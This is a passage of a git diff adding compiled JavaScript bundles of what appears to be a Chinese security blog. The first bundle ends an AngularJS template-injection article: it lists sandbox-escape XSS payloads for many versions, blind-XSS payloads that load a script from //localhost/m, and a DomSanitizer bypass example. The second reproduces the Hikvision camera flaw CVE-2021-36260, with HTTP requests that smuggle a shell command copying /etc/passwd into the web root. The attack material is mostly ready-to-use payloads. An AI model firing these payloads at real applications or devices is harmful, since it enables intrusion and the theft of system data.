\u7248\u672c\u8d77\u5df2\u7ecf\u5b8c\u5168\u5220\u9664\u4e86\u6c99\u7bb1"}),"\n"]}),"\n",(0,a.jsxs)(n.p,{children:["AngularJS 1.6+by",(0,a.jsx)(n.a,{href:"https://twitter.com/cure53berlin",children:"\u9a6c\u91cc\u5965 \xb7 \u6d77\u5fb7\u91cc\u5e0c"})]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"constructor.constructor('alert(1)')()\n"})}),"\n",(0,a.jsxs)(n.p,{children:["AngularJS 1.6+by",(0,a.jsx)(n.a,{href:"https://twitter.com/brutelogic/status/1031534746084491265",children:"@ \u91ce\u86ee\u7684"})]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"[].pop.constructor('alert\\u00281\\u0029')()\n"})}),"\n",(0,a.jsxs)(n.p,{children:["\u793a\u4f8b\u4f4d\u4e8e",(0,a.jsx)(n.a,{href:"https://brutelogic.com.br/xss.php?a=%3Cbrute+ng-app%3E%7B%7B%5B%5D.pop.constructor%26%2340%27alert%5Cu00281%5Cu0029%27%26%2341%26%2340%26%2341%7D%7D",children:"https://brutelogic.com.br/xss.php"})]}),"\n",(0,a.jsxs)(n.p,{children:["AngularJS 1.6.0 \u4f5c\u8005\uff1a",(0,a.jsx)(n.a,{href:"https://twitter.com/LewisArdern/status/1055887619618471938",children:"@ \u5218\u6613\u65af-\u963f\u5fb7\u6069"}),"&",(0,a.jsx)(n.a,{href:"https://twitter.com/garethheyes/status/1055884215131213830",children:"@ \u52a0\u96f7\u745f\u8036\u65af"})]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"0[a='constructor'][a]('alert(1)')()\n$eval.constructor('alert(1)')()\n$on.constructor('alert(1)')()\n"})}),"\n",(0,a.jsxs)(n.p,{children:["AngularJS 1.5.9-1.5.11 \u4f5c\u8005",(0,a.jsx)(n.a,{href:"https://twitter.com/tehjh",children:"Jan Horn"})]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:" c=''.sub.call;b=''.sub.bind;a=''.sub.apply;\n c.$apply=$apply;c.$eval=b;op=$root.$$phase;\n $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;\n C=c.$apply(c);$root.$$phase=op;$root.$digest=od;\n B=C(b,c,b);$evalAsync(\"\n astNode=pop();astNode.type='UnaryExpression';\n astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';\n astNode.argument={type:'Identifier',name:'foo'};\n \");\n m1=B($$asyncQueue.pop().expression,null,$root);\n m2=B(C,null,m1);[].push.apply=m2;a=''.sub;\n $eval('a(b.c)');[].push.apply=a;\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u89d2\u5ea6 JS 1.5.0-1.5.8"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u89d2\u5ea6 JS 1.4.0-1.4.9"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u5b89\u683c\u62c9 JS 1.3.20"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u5b89\u683c\u62c9 JS 1.3.19"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n 'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;\n $eval('x=alert(1)//');\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u89d2\u5ea6 JS 1.3.3-1.3.18"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;\n 'a'.constructor.prototype.charAt=[].join;\n $eval('x=alert(1)//'); \n"})}),"\n",(0,a.jsx)(n.p,{children:"\u89d2\u5ea6 JS 1.3.1-1.3.2"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;\n 'a'.constructor.prototype.charAt=''.valueOf;\n $eval('x=alert(1)//');\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u5b89\u683c\u62c9 JS 1.3.0"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"!ready && (ready = true) && (\n !call\n ? $$watchers[0].get(toString.constructor.prototype)\n : (a = apply) &&\n (apply = constructor) &&\n (valueOf = call) &&\n (''+''.toString(\n 'F = Function.prototype;' +\n 'F.apply = F.a;' +\n 'delete F.a;' +\n 'delete F.valueOf;' +\n 'alert(1);'\n ))\n );\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u89d2\u5ea6 JS 1.2.24-1.2.29"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"'a'.constructor.prototype.charAt=''.valueOf;$eval(\"x='\\\"+(y='if(!window\\\\u002ex)alert(window\\\\u002ex=1)')+eval(y)+\\\"'\");\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u89d2\u5ea6 JS 1.2.19-1.2.23"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:'toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);\n'})}),"\n",(0,a.jsx)(n.p,{children:"\u89d2\u5ea6 JS 1.2.6-1.2.18"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u89d2\u5ea6 JS 1.2.2-1.2.5"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval(\"x='\"+(y='if(!window\\\\u002ex)alert(window\\\\u002ex=1)')+eval(y)+\"'\");\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u89d2\u5ea6 JS 1.2.0-1.2.1"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()\n"})}),"\n",(0,a.jsx)(n.p,{children:"AngularJS 1.0.1-1.1.5 \u548c Vue JS"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"constructor.constructor('alert(1)')()\n"})}),"\n",(0,a.jsx)(n.h3,{id:"\u9ad8\u7ea7\u7ed5\u8fc7-xss",children:"\u9ad8\u7ea7\u7ed5\u8fc7 XSS"}),"\n",(0,a.jsxs)(n.p,{children:["AngularJS\uff08\u4e0d\u5e26 ",(0,a.jsx)(n.code,{children:"'"})," \u5355\u5f15\u53f7\u548c ",(0,a.jsx)(n.code,{children:'"'})," \u53cc\u5f15\u53f7\uff09"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()\n"})}),"\n",(0,a.jsxs)(n.p,{children:["AngularJS\uff08\u4e0d\u5e26 ",(0,a.jsx)(n.code,{children:"'"})," \u5355\u5f15\u53f7\u548c\u53cc\u5f15\u53f7\u4ee5\u53ca\u5b57\u7b26\u4e32\uff09"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"x=767015343;y=50986827;a=x.toString(36)+y.toString(36);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[a].fromCharCode(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()\n"})}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"x=767015343;y=50986827;a=x.toString(36)+y.toString(36);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[a].fromCodePoint(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()\n"})}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"x=767015343;y=50986827;a=x.toString(36)+y.toString(36);a.sub.call.call({}[a].getOwnPropertyDescriptor(a.sub.__proto__,a).value,0,toString()[a].fromCharCode(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()\n"})}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"x=767015343;y=50986827;a=x.toString(36)+y.toString(36);a.sub.call.call({}[a].getOwnPropertyDescriptor(a.sub.__proto__,a).value,0,toString()[a].fromCodePoint(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()\n"})}),"\n",(0,a.jsx)(n.p,{children:"AngularJS \u65c1\u8def\u6676\u5706\u3014 Imperva \u3015"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"x=['constr', 'uctor'];a=x.join('');b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'pr\\\\u{6f}mpt(d\\\\u{6f}cument.d\\\\u{6f}main)')()\n"})}),"\n",(0,a.jsx)(n.h3,{id:"\u76f2-xss",children:"\u76f2 XSS"}),"\n",(0,a.jsx)(n.p,{children:"1.0.1-1.1.5&&>1.6.0 \u9a6c\u91cc\u5965 \xb7 \u6d77\u5fb7\u91cc\u5e0c\uff08Cure53\uff09"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n constructor.constructor(\"var _ = document.createElement('script');\n _.src='//localhost/m';\n document.getElementsByTagName('body')[0].appendChild(_)\")()\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"Lewis Ardern\uff08Synopsys\uff09\u548c Gareth Heyes\uff08PortSwigger\uff09\u7684\u66f4\u77ed\u7684 1.0.1-1.1.5&&>1.6.0"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n $on.constructor(\"var _ = document.createElement('script');\n _.src='//localhost/m';\n document.getElementsByTagName('body')[0].appendChild(_)\")()\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"1.2.0-1.2.5 \u52a0\u96f7\u65af \xb7 \u6d77\u8036\u65af\uff08PortSwigger\uff09"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n a=\"a\"[\"constructor\"].prototype;a.charAt=a.trim;\n $eval('a\",eval(`var _=document\\\\x2ecreateElement(\\'script\\');\n _\\\\x2esrc=\\'//localhost/m\\';\n document\\\\x2ebody\\\\x2eappendChild(_);`),\"')\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"1.2.6-1.2.18 \u4f5c\u8005\uff1aJan Horn\uff08Cure53\uff0c\u73b0\u5c31\u804c\u4e8e Google Project Zero\uff09"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n (_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'eval(\"\n var _ = document.createElement(\\'script\\');\n _.src=\\'//localhost/m\\';\n document.getElementsByTagName(\\'body\\')[0].appendChild(_)\")')()\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"1.2.19\uff08\u706b\u72d0\uff09\u4f5c\u8005\uff1aMathias Karlsson"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n toString.constructor.prototype.toString=toString.constructor.prototype.call;\n [\"a\",'eval(\"var _ = document.createElement(\\'script\\');\n _.src=\\'//localhost/m\\';\n document.getElementsByTagName(\\'body\\')[0].appendChild(_)\")'].sort(toString.constructor);\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"1.2.20-1.2.29 \u4f5c\u8005\uff1aGareth Heyes\uff08PortSwigger\uff09"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n a=\"a\"[\"constructor\"].prototype;a.charAt=a.trim;\n $eval('a\",eval(`\n var _=document\\\\x2ecreateElement(\\'script\\');\n _\\\\x2esrc=\\'//localhost/m\\';\n document\\\\x2ebody\\\\x2eappendChild(_);`),\"')\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"1.3.0-1.3.9 \u4f5c\u8005\uff1aGareth Heyes\uff08PortSwigger\uff09"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n a=toString().constructor.prototype;a.charAt=a.trim;\n $eval('a,eval(`\n var _=document\\\\x2ecreateElement(\\'script\\');\n _\\\\x2esrc=\\'//localhost/m\\';\n document\\\\x2ebody\\\\x2eappendChild(_);`),a')\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"1.4.0-1.5.8 \u4f5c\u8005\uff1a\u52a0\u96f7\u65af \xb7 \u6d77\u8036\u65af\uff08PortSwigger\uff09"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n a=toString().constructor.prototype;a.charAt=a.trim;\n $eval('a,eval(`var _=document.createElement(\\'script\\');\n _.src=\\'//localhost/m\\';document.body.appendChild(_);`),a')\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"1.5.9-1.5.11 \u4f5c\u8005\uff1aJan Horn\uff08Cure53\uff0c\u73b0\u5c31\u804c\u4e8e Google Project Zero\uff09"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.$apply=$apply;\n c.$eval=b;op=$root.$$phase;\n $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;\n C=c.$apply(c);$root.$$phase=op;$root.$digest=od;\n B=C(b,c,b);$evalAsync(\"astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,eval(`var _=document.createElement(\\\\'script\\\\');_.src=\\\\'//localhost/m\\\\';document.body.appendChild(_);`)))+';astNode.argument={type:'Identifier',name:'foo'};\");\n m1=B($$asyncQueue.pop().expression,null,$root);\n m2=B(C,null,m1);[].push.apply=m2;a=''.sub;\n $eval('a(b.c)');[].push.apply=a;\n\n"})}),"\n",(0,a.jsx)(n.h2,{id:"\u81ea\u52a8\u6d88\u6bd2",children:"\u81ea\u52a8\u6d88\u6bd2"}),"\n",(0,a.jsxs)(n.blockquote,{children:["\n",(0,a.jsx)(n.p,{children:"\u4e3a\u4e86\u7cfb\u7edf\u5730\u963b\u6b62 XSS \u9519\u8bef\uff0cAngular \u9ed8\u8ba4\u60c5\u51b5\u4e0b\u5c06\u6240\u6709\u503c\u89c6\u4e3a\u4e0d\u53ef\u4fe1\u3002\u5f53\u4e00\u4e2a\u503c\u901a\u8fc7\u5c5e\u6027\u3001\u5c5e\u6027\u3001\u6837\u5f0f\u3001\u7c7b\u7ed1\u5b9a\u6216\u63d2\u503c\u4ece\u6a21\u677f\u63d2\u5165 DOM \u65f6\uff0cAngular \u4f1a\u6e05\u9664\u548c\u8f6c\u4e49\u4e0d\u53d7\u4fe1\u4efb\u7684\u503c\u3002"}),"\n"]}),"\n",(0,a.jsx)(n.p,{children:"\u4f46\u662f\uff0c\u53ef\u4ee5\u5c06\u503c\u6807\u8bb0\u4e3a\u53ef\u4fe1\uff0c\u5e76\u4f7f\u7528\u4ee5\u4e0b\u65b9\u6cd5\u963b\u6b62\u81ea\u52a8\u6e05\u9664\uff1a"}),"\n",(0,a.jsxs)(n.ul,{children:["\n",(0,a.jsx)(n.li,{children:"bypassSecurityTrustHtml"}),"\n",(0,a.jsx)(n.li,{children:"bypassSecurityTrustScript"}),"\n",(0,a.jsx)(n.li,{children:"\u65c1\u8def\u5b89\u5168\u4fe1\u4efb\u6837\u5f0f"}),"\n",(0,a.jsx)(n.li,{children:"bypassSecurityTrustUrl"}),"\n",(0,a.jsx)(n.li,{children:"bypassSecurityTrustResourceUrl"}),"\n"]}),"\n",(0,a.jsxs)(n.p,{children:["\u4f7f\u7528\u4e0d\u5b89\u5168\u65b9\u6cd5\u7684\u7ec4\u4ef6\u793a\u4f8b ",(0,a.jsx)(n.code,{children:"bypassSecurityTrustUrl"}),"\uff1a"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{children:'import { Component, OnInit } from \'@angular/core\';\n\n@Component({\n selector: \'my-app\',\n template: `\n <h4>An untrusted URL:</h4>\n <p><a class="e2e-dangerous-url" [href]="dangerousUrl">Click me</a></p>\n <h4>A trusted URL:</h4>\n <p><a class="e2e-trusted-url" [href]="trustedUrl">Click me</a></p>\n `,\n})\nexport class App {\n constructor(private sanitizer: DomSanitizer) {\n this.dangerousUrl = \'javascript:alert("Hi there")\';\n this.trustedUrl = sanitizer.bypassSecurityTrustUrl(this.dangerousUrl);\n }\n}\n'})}),"\n",(0,a.jsx)(n.p,{children:(0,a.jsx)(n.img,{src:"https://angular.io/generated/images/guide/security/bypass-security-component.png",alt:"XSS"})}),"\n",(0,a.jsx)(n.p,{children:"\u5728\u8fdb\u884c\u4ee3\u7801\u5ba1\u67e5\u65f6\uff0c\u60a8\u5e0c\u671b\u786e\u4fdd\u6ca1\u6709\u7528\u6237\u8f93\u5165\u662f\u53ef\u4fe1\u7684\uff0c\u56e0\u4e3a\u5b83\u4f1a\u5728\u5e94\u7528\u7a0b\u5e8f\u4e2d\u5f15\u5165\u5b89\u5168\u6f0f\u6d1e\u3002"}),"\n",(0,a.jsx)(n.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,a.jsxs)(n.ul,{children:["\n",(0,a.jsx)(n.li,{children:(0,a.jsx)(n.a,{href:"https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs",children:"\u4e0d\u5e26 HTML \u7684 XSS-\u5e26 Angular JS \u7684 CSTI-Portswigger"})}),"\n",(0,a.jsx)(n.li,{children:(0,a.jsx)(n.a,{href:"https://ardern.io/2018/12/07/angularjs-bxss",children:"\u76f2 XSS AngularJS \u6709\u6548\u8d1f\u8f7d"})}),"\n",(0,a.jsx)(n.li,{children:(0,a.jsx)(n.a,{href:"https://angular.io/guide/security",children:"\u89d2\u5ea6\u5b89\u5168\u6027"})}),"\n",(0,a.jsx)(n.li,{children:(0,a.jsx)(n.a,{href:"https://medium.com/@swarnakishore/angular-safe-pipe-implementation-to-bypass-domsanitizer-stripping-out-content-c1bf0f1cc36b",children:"\u7ed5\u8fc7 DomSanitizer"})}),"\n"]})]})}function p(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,a.jsx)(n,{...e,children:(0,a.jsx)(d,{...e})}):d(e)}},28453:(e,n,r)=>{r.d(n,{R:()=>l,x:()=>c});var t=r(96540);const a={},s=t.createContext(a);function l(e){const n=t.useContext(s);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(a):e.components||a:l(e.components),t.createElement(s.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/1cc093c7.aa4c6dd6.js b/en/assets/js/1cc093c7.aa4c6dd6.js new file mode 100644 index 0000000..6ec1892 --- /dev/null +++ b/en/assets/js/1cc093c7.aa4c6dd6.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8260],{13135:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>i,contentTitle:()=>o,default:()=>p,frontMatter:()=>a,metadata:()=>s,toc:()=>l});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)","title":"\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/01.\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260).md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/01.\u6d77\u5eb7\u5a01\u89c6","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/01.\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260).md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u4e2d\u95f4\u4ef6/Apache/Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09"},"next":{"title":"\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0"}}');var c=t(74848),r=t(28453);const a={},o=void 0,i={},l=[];function d(e){const n={code:"code",hr:"hr",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsxs)(n.table,{children:[(0,c.jsx)(n.thead,{children:(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,c.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,c.jsx)(n.tbody,{children:(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{style:{textAlign:"left"},children:(0,c.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,c.jsx)(n.td,{style:{textAlign:"left"},children:"2025-06-14 01:53:27"})]})})]}),"\n",(0,c.jsx)(n.p,{children:"\u4e00\u3001\u6f0f\u6d1e\u7b80\u4ecb\n\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673a/NVR\u8bbe\u5907\u56fa\u4ef6\u4e2d\u53d1\u73b0\u4e00\u4e2a\u672a\u8ba4\u8bc1\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff08CVE-2021-36260\uff09\u3002\u6f0f\u6d1e\u5f71\u54cdIP\u6444\u50cf\u5934\u548cNVR\u8bbe\u5907\u56fa\u4ef6\uff0c\u6f0f\u6d1e\u662f\u56e0\u4e3a\u5bf9\u8f93\u5165\u53c2\u6570\u68c0\u9a8c\u4e0d\u5145\u5206\uff0c\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u653b\u51fb\u8005\u901a\u8fc7\u6784\u9020\u6076\u610f\u547d\u4ee4\u8bf7\u6c42\u5305\u53d1\u9001\u5230\u53d7\u5f71\u54cd\u8bbe\u5907\uff0c\u5373\u53ef\u5b9e\u73b0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u3002"}),"\n",(0,c.jsx)(n.p,{children:"\u4e8c\u3001\u5f71\u54cd\u7248\u672c"}),"\n",(0,c.jsx)(n.p,{children:"\u7f51\u7edc\u6444\u50cf\u5934"}),"\n",(0,c.jsx)(n.p,{children:'\u4ea7\u54c1\u7c7b\u578b\t\u5f71\u54cd\u7248\u672c\nIPC_E0\tIPC_E0_CN_STD_5.4.6_180112\nIPC_E1\t\u672a\u77e5\nIPC_E2\tIPC_E2_EN_STD_5.5.52_180620\nIPC_E4\t\u672a\u77e5\nIPC_E6\tIPCK_E6_EN_STD_5.5.100_200226\nIPC_E7\tIPCK_E7_EN_STD_5.5.120_200604\nIPC_G3\tIPC_G3_EN_STD_5.5.160_210416\nIPC_G5\tIPC_G5_EN_STD_5.5.113_210317\nIPC_H1\tIPC_H1_EN_STD_5.4.61_181204\nIPC_H5\tIPCP_H5_EN_STD_5.5.85_201120\nIPC_H8\tFactory installed firmware mid 2021\nIPC_R2\tIPC_R2_EN_STD_V5.4.81_180203\n\u4e09\u3001\u8d44\u4ea7\u6d4b\u7ed8\napp="HIKVISION-\u89c6\u9891\u76d1\u63a7"\n\u56db\u3001\u6f0f\u6d1e\u590d\u73b0\n1.\u6267\u884c\u547d\u4ee4\uff0c\u5199\u5165\u5230\u6587\u4ef6\u4e2d(\u8fd9\u91cc\u8bfb\u53d6/etc/passwd)'}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-http",children:'PUT /SDK/webLanguage HTTP/1.1\nUser-Agent: python-requests/2.31.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nHost: \nX-Requested-With: XMLHttpRequest\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nAccept-Language: en-US,en;q=0.9,sv;q=0.8\nContent-Length: 91\n\n<?xml version="1.0" encoding="UTF-8"?><language>$(cat /etc/passwd>webLib/passwd)</language>\n'})}),"\n",(0,c.jsx)(n.p,{children:"2.\u8bfb\u53d6\u547d\u4ee4\u6267\u884c\u7ed3\u679c"}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-http",children:'GET /passwd HTTP/1.1\nUser-Agent: python-requests/2.31.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nHost: \nX-Requested-With: XMLHttpRequest\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nAccept-Language: en-US,en;q=0.9,sv;q=0.8\nContent-Length: 91\n\n<?xml version="1.0" encoding="UTF-8"?><language>$(cat /etc/passwd>webLib/passwd)</language>\n'})}),"\n",(0,c.jsx)(n.hr,{})]})}function p(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,c.jsx)(n,{...e,children:(0,c.jsx)(d,{...e})}):d(e)}},28453:(e,n,t)=>{t.d(n,{R:()=>a,x:()=>o});var s=t(96540);const c={},r=s.createContext(c);function a(e){const n=s.useContext(r);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(c):e.components||c:a(e.components),s.createElement(r.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/1d456b22.8b95001d.js b/en/assets/js/1d456b22.8b95001d.js new file mode 100644 index 0000000..ab02e81 --- /dev/null +++ b/en/assets/js/1d456b22.8b95001d.js @@ -0,0 +1 @@ +"use 